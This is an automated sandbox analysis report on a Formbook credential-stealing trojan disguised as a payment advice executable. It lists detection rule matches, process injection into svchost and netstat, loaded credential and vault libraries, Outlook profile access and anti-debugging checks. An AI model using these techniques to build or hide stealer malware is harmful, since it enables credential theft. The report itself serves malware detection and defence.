Source: 00000001.00000002.2342246132.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2959632438.0000000002E80000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@5/4

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0044AF5C GetLastError,FormatMessageW,

0_2_0044AF5C

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464422
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004364AA

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D517

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,

0_2_0043701F

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,

0_2_0047A999

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043614F

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

File created: C:\Users\user\AppData\Local\Temp\togging

Jump to behavior

Source: PAYMENT ADVISE#9879058.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NETSTAT.EXE, 00000006.00000002.2958501115.0000000003204000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000003.2574850951.00000000031E3000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000003.2574967839.0000000003204000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PAYMENT ADVISE#9879058.exe	ReversingLabs: Detection: 26%
Source: PAYMENT ADVISE#9879058.exe	Virustotal: Detection: 28%

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

File read: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe "C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe"
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe"
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe"			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"			Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: wsock32.dll			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: snmpapi.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: wininet.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: ieframe.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: netapi32.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: wkscli.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: secur32.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: mlang.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: propsys.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: winsqlite3.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: vaultcli.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: wintypes.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: dpapi.dll			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	Section loaded: dnsapi.dll			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	Section loaded: rasadhlp.dll			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	Section loaded: fwpuclnt.dll			Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: PAYMENT ADVISE#9879058.exe

Static file information: File size 1352983 > 1048576

Source:	Binary string: netstat.pdbGCTL source: svchost.exe, 00000001.00000003.2310699924.000000000301A000.00000004.00000020.00020000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000005.00000002.2958989075.00000000011F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netstat.pdb source: svchost.exe, 00000001.00000003.2310699924.000000000301A000.00000004.00000020.00020000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000005.00000002.2958989075.00000000011F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: eYlgnnKYnAjqSS.exe, 00000005.00000000.2255485457.00000000002EE000.00000002.00000001.01000000.00000005.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000002.2958341376.00000000002EE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: PAYMENT ADVISE#9879058.exe, 00000000.00000003.1734554493.0000000004620000.00000004.00001000.00020000.00000000.sdmp, PAYMENT ADVISE#9879058.exe, 00000000.00000003.1734731744.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2341839749.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2236283658.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2238093908.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2341839749.0000000003700000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000003.2343943133.000000000376B000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000003.2341951806.00000000035BB000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2959757865.0000000003920000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2959757865.0000000003ABE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PAYMENT ADVISE#9879058.exe, 00000000.00000003.1734554493.0000000004620000.00000004.00001000.00020000.00000000.sdmp, PAYMENT ADVISE#9879058.exe, 00000000.00000003.1734731744.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.2341839749.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2236283658.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2238093908.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2341839749.0000000003700000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, NETSTAT.EXE, 00000006.00000003.2343943133.000000000376B000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000003.2341951806.00000000035BB000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2959757865.0000000003920000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2959757865.0000000003ABE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: NETSTAT.EXE, 00000006.00000002.2960171619.0000000003F4C000.00000004.10000000.00040000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2958501115.000000000317E000.00000004.00000020.00020000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000000.2409776057.000000000305C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2687690315.000000001A4AC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: NETSTAT.EXE, 00000006.00000002.2960171619.0000000003F4C000.00000004.10000000.00040000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2958501115.000000000317E000.00000004.00000020.00020000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000000.2409776057.000000000305C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2687690315.000000001A4AC000.00000004.80000000.00040000.00000000.sdmp

Data Obfuscation

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: PAYMENT ADVISE#9879058.exe

Static PE information: real checksum: 0xa2135 should be: 0x1569d5

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_004171D1 push ecx; ret		0_2_004171E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041F132 push esp; ret		1_2_0041F13C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D9CD push edx; iretd		1_2_0040D99E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D99C push edx; iretd		1_2_0040D99E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041EB5B push FFFFFFC4h; retf		1_2_0041EB87
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041EB63 push FFFFFFC4h; retf		1_2_0041EB87
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D32A push es; ret		1_2_0040D335
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004193F1 push ebp; iretd		1_2_004193F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00414C73 push ss; iretd		1_2_00414C85
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042D553 push ss; retf		1_2_0042D683
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00411D36 push C93F5ECDh; ret		1_2_00411D50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00414613 push ss; iretd		1_2_00414625
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041463B push edi; retf		1_2_0041464A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403750 push eax; ret		1_2_00403752
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0370225F pushad ; ret		1_2_037027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037027FA pushad ; ret		1_2_037027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037309AD push ecx; mov dword ptr [esp], ecx		1_2_037309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0370283D push eax; iretd		1_2_03702858
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0392225F pushad ; ret		6_2_039227F9
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039227FA pushad ; ret		6_2_039227F9
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039509AD push ecx; mov dword ptr [esp], ecx		6_2_039509B6
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0392283D push eax; iretd		6_2_03922858
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03921368 push eax; iretd		6_2_03921369
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030EE5E3 push C93F5ECDh; ret		6_2_030EE5FD
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_031017AE push eax; iretd		6_2_031017B3
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030F1520 push ss; iretd		6_2_030F1532
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030FB408 push FFFFFFC4h; retf		6_2_030FB434
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030FB410 push FFFFFFC4h; retf		6_2_030FB434
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030FDA7B push esi; iretd		6_2_030FDA7C
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030FB9DF push esp; ret		6_2_030FB9E9
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03109E00 push ss; retf		6_2_03109F30

Hooking and other Techniques for Hiding and Protection

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004772DE
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_004375B0

Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_00444078

0_2_00444078

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	API/Special instruction interceptor: Address: 3FAAA84
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0377096E rdtsc

1_2_0377096E

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	API coverage: 3.2 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\NETSTAT.EXE	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\NETSTAT.EXE TID: 7436	Thread sleep count: 36 > 30			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE TID: 7436	Thread sleep time: -72000s >= -30000s			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe TID: 7464	Thread sleep time: -35000s >= -30000s			Jump to behavior

Source: C:\Windows\SysWOW64\NETSTAT.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,		0_2_00452126
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,		0_2_0045C999
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,		0_2_00436ADE
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00434BEE
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,		0_2_00436D2D
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00442E1F
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,		0_2_0045DD7C
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,		0_2_0044BD29
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,		0_2_00475FE5
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,		0_2_0044BF8D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030FC510 FindFirstFileW,FindNextFileW,FindClose,		6_2_030FC510

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Source: NETSTAT.EXE, 00000006.00000002.2958501115.000000000317E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:
Source: firefox.exe, 00000009.00000002.2689027831.0000025D1A32C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: eYlgnnKYnAjqSS.exe, 00000007.00000002.2959218476.00000000010BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0377096E rdtsc

1_2_0377096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00417B93 LdrLoadDll,

1_2_00417B93

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0045A259 BlockInput,

0_2_0045A259

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D6D0

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_03FA96C0 mov eax, dword ptr fs:[00000030h]		0_2_03FA96C0
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_03FAAD50 mov eax, dword ptr fs:[00000030h]		0_2_03FAAD50
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_03FAACF0 mov eax, dword ptr fs:[00000030h]		0_2_03FAACF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D437C mov eax, dword ptr fs:[00000030h]		1_2_037D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B035C mov eax, dword ptr fs:[00000030h]		1_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B035C mov eax, dword ptr fs:[00000030h]		1_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B035C mov eax, dword ptr fs:[00000030h]		1_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B035C mov ecx, dword ptr fs:[00000030h]		1_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B035C mov eax, dword ptr fs:[00000030h]		1_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B035C mov eax, dword ptr fs:[00000030h]		1_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FA352 mov eax, dword ptr fs:[00000030h]		1_2_037FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D8350 mov ecx, dword ptr fs:[00000030h]		1_2_037D8350
